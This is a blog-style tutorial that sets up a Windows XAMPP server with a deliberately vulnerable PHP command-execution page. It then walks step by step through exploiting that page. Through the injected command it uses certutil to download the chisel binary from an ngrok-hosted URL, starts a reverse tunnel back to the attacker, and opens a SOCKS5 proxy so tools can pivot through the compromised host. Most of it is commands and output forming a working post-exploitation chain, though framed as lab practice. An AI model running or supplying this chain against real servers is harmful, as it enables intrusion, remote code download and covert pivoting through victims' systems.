For this article I’ll set up a Windows 8.1 VM with XAMPP + PHP web app vulnerable to RCE and explain how to use the Windows server as a SOCKS proxy similar to SSH tunneling on Linux servers.
Resources
- https://ngrok.com/
- https://github.com/jpillora/chisel
- https://www.apachefriends.org/download.html
- https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html#examples
Steps
- Set up the web server on a Windows VM
- Chisel binaries
- Serve chisel binary with ngrok
- Download chisel binary to vulnerable web server
- Set up proxychains
- Chisel tunneling
- Testing the SOCKS proxy
- Wrap it up
1. Set up the web server on a Windows VM
On a Windows VM, install XAMPP to host our vulnerable web app used as an entry point (https://www.apachefriends.org/download.html). In C:\xampp\htdocs\rce_vuln
create a index.php
file with the following content:
<?php
echo exec($_GET['exec']);
?>
Accessing the following URL http://vulnerable.local/rce_vuln/index.php?exec=whoami
confirms that we have command execution
win-1rdjv85it2h\usernameX
2. Chisel binaries
Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Chisel is very similar to crowbar though achieves much higher performance.
We can download chisel binaries for both Windows and Linux from the releases page https://github.com/jpillora/chisel/releases
I renamed my binaries to chisel_linux_386
and chisel_windows_386
to be easier to understand which one is which.
3. Serve chisel binary with ngrok
Ngrok
is a service that allows us to expose local services behind a NAT (such as web server running locally) to the internet. On Linux, first we set up our local server with python
x@ubuntu:/tmp/xxx$ tree
.
└── chisel_windows_386.exe
0 directories, 1 file
x@ubuntu:/tmp/xxx$ python -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...
Then we expose the port to the internet using ngrok
x@ubuntu: ngrok http 8888
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account x (Plan: Free)
Version 2.3.35
Region United States (us)
Web Interface hxxp://127.0.0.1:4040
Forwarding hxxp://8360e8c6.ngrok.io -> hxxp://localhost:8888
Forwarding hxxps://8360e8c6.ngrok.io -> hxxp://localhost:8888
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
The chisel windows binary can now be downloaded from http://8360e8c6.ngrok.io/chisel_windows_386.exe
4. Download chisel binary to vulnerable web server
To download the windows chisel binary from ngrok
, I used certutil.exe
certutil.exe -urlcache -split -f [URL] output.file
In this case, the RCE was in the URL
hxxp://vulnerable.local/rce_vuln/index.php?exec=certutil.exe%20-urlcache%20-split%20-f%20http://8360e8c6.ngrok.io/chisel_windows_386.exe%20chisel_windows_386.exe
In the ngrok
logs we can see the request made
HTTP Requests
-------------
GET /chisel_windows_386.exe 200 OK
And we can also check if the file exists on the webserver
hxxp://vulnerable.local/rce_vuln/index.php?exec=IF%20EXIST%20chisel_windows_386.exe%20echo%20Yes
Yes
5. Set up proxychains
proxychains – a tool that forces any TCP connection made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy
We will use proxychains
to force our tools from Linux to follow through the proxy which is the Windows webserver in our case.
To enable SOCKS5 for proxychains, we have to edit /etc/proxychains.conf
such as:
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
6. Chisel tunneling
This article explains in detail how to use chisel as a reverse socks proxy. Basically we start a chisel reverse server on Linux, and connect with the chisel client from Windows. At this point we have a tunnel connection established, but it is in the wrong direction. The web server can use us as a proxy.
What we have to do now is set a chisel bind server on the windows webserver and connect to it with the chisel client from Linux, and we do this through the previously established tunnel.
We could have done this from the beginning if the Windows webserver had no inbound firewall rules. With the inbound firewall rules, we have to make the server connect to us first and than through the tunnel established, connect back to it since the rules do not apply to connections coming from localhost as the chisel traffic appears.
./chisel server -p 8000 --reverse
on local box, as usual../chisel client 1.1.1.1:8000 R:8001:127.0.0.1:9001
on target box. Now anything I send to localhost:8001 on kali will forward to localhost:9001 on target../chisel server -p 9001 --socks5
on target. Now I have achisel
server listening on 9001, in socks mode, and a way to get traffic to that port../chisel client localhost:8001 socks
on Kali box. This connection is forwarded through the first tunnel and connects to thechisel
server running on the box. Now my local host is listening on port 1080 (default, can change that with arguments) and will send traffic to target, and then proxy it outbound.
6.1 Start reverse server on Linux
x@ubuntu: ./chisel_linux_386 server -p 8000 --reverse
2020/03/18 14:49:25 server: Reverse tunnelling enabled
2020/03/18 14:49:25 server: Fingerprint 21:1a:cd:c6:95:c6:5f:bd:47:0c:16:38:3c:fd:7e:a2
2020/03/18 14:49:25 server: Listening on 0.0.0.0:8000…
6.2 Connect to the Linux server from Windows
C:\>chisel_windows_386.exe client 192.168.136.160:8000 R:8001:127.0.0.1:9001
2020/03/18 22:54:27 client: Connecting to ws://192.168.136.160:8000
2020/03/18 22:54:27 client: Fingerprint 21:1a:cd:c6:95:c6:5f:bd:47:0c:16:38:3c:fd:7e:a2
2020/03/18 22:54:27 client: Connected (Latency 0s)
And on Linux we can see the connection from client
...
2020/03/18 14:54:38 server: proxy#1:R:0.0.0.0:8001=>127.0.0.1:9001: Listening
6.3 Start server on Windows
C:\>chisel_windows_386.exe server -p 9001 --socks5
2020/03/18 22:57:05 server: SOCKS5 server enabled
2020/03/18 22:57:05 server: Fingerprint 44:8a:f1:5c:de:c2:8d:bc:7c:34:d6:e7:10:da:e6:20
2020/03/18 22:57:05 server: Listening on 0.0.0.0:9001...
6.4 Connect to Windows server from Linux
./chisel_linux_386 client localhost:8001 socks
2020/03/18 14:58:55 client: Connecting to ws://localhost:8001
2020/03/18 14:58:55 client: proxy#1:127.0.0.1:1080=>socks: Listening
2020/03/18 14:58:55 client: Fingerprint 44:8a:f1:5c:de:c2:8d:bc:7c:34:d6:e7:10:da:e6:20
2020/03/18 14:58:55 client: Connected (Latency 889.97µs)
And on Windows we can see the connection from client
2020/03/18 22:57:05 server: Listening on 0.0.0.0:9001...
And that’s it! Now that we instructed chisel
to create a SOCKS connection (by default port 1080), and we configured proxychains
for SOCKS on 127.0.0.0:1080, all tools prepended with the “proxychains” keyword will forward their traffic through the tunnel.
7. Testing the SOCKS proxy
To confirm that the tunnel is up and running we can use curl
to check what is our public IP address when we are using the proxy, and when we don’t.
x@ubuntu: curl -k hxxps://canihazip.com/s
1.2.3.4
x@ubuntu: proxychains4 curl -k hxxps://canihazip.com/s
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14-git-6-g86408cd
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... canihazip.com:443 ... OK
4.3.2.1
Or we can check services running on localhost with and without proxychains (port 80 is open on webserver, but not on my Linux)
curl 127.0.0.1 hxxp://localhost/rce_vuln/index.php?exec=whoami
curl: (7) Failed to connect to 127.0.0.1 port 80: Connection refused
curl: (7) Failed to connect to localhost port 80: Connection refused
proxychains4 curl 127.0.0.1 hxxp://localhost/rce_vuln/index.php?exec=whoami
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14-git-6-g86408cd
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 127.0.0.1:80 ... OK
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 127.0.0.1:80 ... OK
win-1rdjv85it2h\usernameX
8. Wrap it up
Now that we confirm that everything works as intended, we have to fix a small issue. At step 6.2 when we create the first tunnel connection with chisel, we can see that we use a LAN IP address which would not work over the internet
C:\>chisel_windows_386.exe client 192.168.136.160:8000 R:8001:127.0.0.1:9001
2020/03/18 22:54:27 client: Connecting to ws://192.168.136.160:8000
2020/03/18 22:54:27 client: Fingerprint 21:1a:cd:c6:95:c6:5f:bd:47:0c:16:38:3c:fd:7e:a2
2020/03/18 22:54:27 client: Connected (Latency 0s)
Fortunately we can use again ngrok
to expose the initial chisel reverse server to the internet, and than update the address where chisel client has to connect back with the one shown in ngrok logs
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account x(Plan: Free)
Version 2.3.35
Region United States (us)
Web Interface hxxp://127.0.0.1:4040
Forwarding tcp://0.tcp.ngrok.io:10990 -> localhost:8000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Now the steps are
1. Start chisel reverse server on linux
./chisel_linux_386 server -p 8000 --reverse
2. Expose the chisel reverse server to internet
ngrok tcp 8000
3. Connect with windows chisel client to listening server expose to the internet to establish the first tunnel connection
hxxp://vulnerable.local/rce_vuln/index.php?exec=start "" chisel_windows_386.exe client 0.tcp.ngrok.io:10990 R:8001:127.0.0.1:9001
4. Start chisel bind server on windows
hxxp://vulnerable.local/rce_vuln/index.php?exec=start "" chisel_windows_386.exe server -p 9001 --socks5
5. Connect from Linux to listening windows server through the already established tunnel
./chisel_linux_386 client localhost:8001 socks
6. Enjoy
proxychains4 curl -k hxxps://canihazip.com/s
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14-git-6-g86408cd
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... canihazip.com:443 ... OK
4.3.2.1